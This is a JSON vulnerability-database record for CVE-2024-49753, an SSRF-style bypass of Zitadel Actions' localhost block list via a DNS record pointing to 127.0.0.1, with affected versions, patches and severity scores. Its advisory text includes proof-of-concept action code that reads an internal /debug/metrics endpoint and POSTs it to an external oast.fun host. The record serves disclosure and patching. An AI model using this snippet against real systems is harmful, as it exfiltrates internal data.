{"id":"CVE-2024-49753","aliases":["CVE-2024-49753","GHSA-6cf5-w9h3-4rqv","GO-2024-3216"],"related":[],"kind":"vulnerability","state":"published","title":"Denied Host Validation Bypass in Zitadel Actions","summary":"Zitadel is open-source identity infrastructure software. Versions prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 have a flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Versions 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Zitadel is open-source identity infrastructure software. Versions prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 have a flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Versions 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.","source":"cvelist"},{"lang":"en","text":"### Summary\nA flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1).  The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.\n\n### Details\nWhile attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.\n<img width=\"781\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d\">\n\nThe relevant action code demonstrates the attempted request to 127.0.0.1:\n```\nlet http = require('zitadel/http')\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n    var user = http.fetch('http://127.0.0.1:8080/debug/metrics');\n\n    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {\n        method: 'POST',\n        headers: {\n            'Content-Type': 'application/json',\n        },\n        body: JSON.stringify({\n            'data': user,\n        }),\n    });\n    logger.log(api_r.body);\n}\n```\n\nBy creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.\n![image](https://github.com/user-attachments/assets/d1544a7c-684a-485c-8857-eb846ba946b7)\n\nThe modified action code uses the custom domain instead of 127.0.0.1:\n```\nlet http = require('zitadel/http')\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n    var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');\n\n    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {\n        method: 'POST',\n        headers: {\n            'Content-Type': 'application/json',\n        },\n        body: JSON.stringify({\n            'user': user,\n        }),\n    });\n    logger.log(api_r.body);\n}\n```\n\n![image](https://github.com/user-attachments/assets/5a1c720b-fdda-4e7a-b0e0-ec29bff6690e)\n\nThis demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.\n![image](https://github.com/user-attachments/assets/c8e6abe4-5d2c-48d9-ba0f-dacae38ba0be)\n\n## Impact\n\nThis vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.\n## Patches\n\n2.x versions are fixed on >= [2.64.1](https://github.com/zitadel/zitadel/releases/tag/v2.64.1)\n2.63.x versions are fixed on >= [2.63.6](https://github.com/zitadel/zitadel/releases/tag/v2.63.6)\n2.62.x versions are fixed on >= [2.62.8](https://github.com/zitadel/zitadel/releases/tag/v2.62.8)\n2.61.x versions are fixed on >= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4)\n2.60.x versions are fixed on >= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4)\n2.59.x versions are fixed on >= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5)\n2.58.x versions are fixed on >= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7)\n\n## Workarounds\n\nThere is no workaround since a patch is already available.\n\n## Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n## Credits\n\nThanks to @prdp1137 for reporting this!","format":"markdown","source":"ghsa"},{"lang":"en","text":"Denied Host Validation Bypass in Zitadel Actions in github.com/zitadel/zitadel.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/zitadel/zitadel before v2.58.7, from v2.59.0 before v2.59.5, from v2.60.0 before v2.60.4, from v2.61.0 before v2.61.4, from v2.62.0 before v2.62.8, from v2.63.0 before v2.63.6, from v2.64.0 before v2.64.1.","format":"markdown","source":"go"},{"lang":"es","text":"Zitadel es un software de infraestructura de identidad de código abierto. Las versiones anteriores a 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5 y 2.58.7 tienen una falla en el mecanismo de validación de URL de las acciones de Zitadel que permite eludir las restricciones destinadas a bloquear las solicitudes a localhost (127.0.0.1). La comprobación isHostBlocked, diseñada para evitar dichas solicitudes, se puede eludir mediante la creación de un registro DNS que se resuelva en 127.0.0.1. Esto permite que las acciones envíen solicitudes a localhost a pesar de las medidas de seguridad previstas. Esta vulnerabilidad potencialmente permite el acceso no autorizado a endpoints internos no seguros, que pueden contener información o funcionalidades confidenciales. Las versiones 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5 y 2.58.7 contienen un parche. No se conocen workarounds disponibles.","source":"nvd"}],"published":"2024-10-25T14:11:44.092Z","modified":"2026-06-17T08:00:23.030Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"version":">= 2.64, < 2.64.1","status":"affected"},{"version":">= 2.63, < 2.63.6","status":"affected"},{"version":">= 2.62, < 2.62.8","status":"affected"},{"version":">= 2.61, < 2.61.4","status":"affected"},{"version":">= 2.60, < 2.60.4","status":"affected"},{"version":">= 2.59, < 2.59.5","status":"affected"},{"version":"< 2.58.7","status":"affected"}],"vendor":"zitadel","product":"zitadel","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"2.64","fixed":"2.64.1","status":"affected"},{"type":"custom","introduced":"2.63","fixed":"2.63.6","status":"affected"},{"type":"custom","introduced":"2.62","fixed":"2.62.8","status":"affected"},{"type":"custom","introduced":"2.61","fixed":"2.61.4","status":"affected"},{"type":"custom","introduced":"2.60","fixed":"2.60.4","status":"affected"},{"type":"custom","introduced":"2.59","fixed":"2.59.5","status":"affected"},{"type":"custom","introduced":"0","fixed":"2.58.7","status":"affected"}],"vendor":"zitadel","product":"zitadel","cpe":"cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.64.0","status":"affected","fixed":"2.64.1"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.63.0","status":"affected","fixed":"2.63.6"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.62.0","status":"affected","fixed":"2.62.8"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.61.0","status":"affected","fixed":"2.61.4"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.60.0","status":"affected","fixed":"2.60.4"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.59.0","status":"affected","fixed":"2.59.5"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.80.1","status":"affected","fixed":"2.58.7"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20241022141644-79fb4cc1cc6e"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.0.0","status":"affected","fixed":"1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/zitadel/zitadel","purl":"pkg:golang/github.com/zitadel/zitadel","source":"go"},{"ranges":[{"status":"affected","fixed":"2.58.7"},{"status":"affected","introduced":"2.59.0","fixed":"2.59.5"},{"status":"affected","introduced":"2.60.0","fixed":"2.60.4"},{"status":"affected","introduced":"2.61.0","fixed":"2.61.4"},{"status":"affected","introduced":"2.62.0","fixed":"2.62.8"},{"status":"affected","introduced":"2.63.0","fixed":"2.63.6"},{"status":"affected","introduced":"2.64.0","fixed":"2.64.1"}],"vendor":"zitadel","product":"zitadel","cpe":"cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/zitadel/zitadel/security/advisories/GHSA-6cf5-w9h3-4rqv","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/zitadel/zitadel/releases/tag/v2.58.7","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/zitadel/zitadel/releases/tag/v2.59.5","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/zitadel/zitadel/releases/tag/v2.60.4","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/zitadel/zitadel/releases/tag/v2.61.4","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/zitadel/zitadel/releases/tag/v2.62.8","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/zitadel/zitadel/releases/tag/v2.63.6","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/zitadel/zitadel/releases/tag/v2.64.1","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49753","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/zitadel/zitadel","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2024-10-25T15:04:29.564Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-49753","url":"https://www.cve.org/CVERecord?id=CVE-2024-49753","licence":"CVE Terms of Use","modified":"2024-10-25T16:17:38.587Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6cf5-w9h3-4rqv","url":"https://github.com/advisories/GHSA-6cf5-w9h3-4rqv","licence":"CC-BY-4.0","modified":"2025-07-09T15:24:53.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-3216","url":"https://pkg.go.dev/vuln/GO-2024-3216","licence":"CC-BY-4.0","modified":"2024-10-28T15:42:13.746Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-49753","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49753","licence":"Public domain","modified":"2026-06-17T08:00:23.030Z"}],"updatedAt":"2026-11-25T22:58:47.339Z","epss":{"score":0.01001,"percentile":0.61828,"date":"2026-11-30T12:00:22.000Z"}}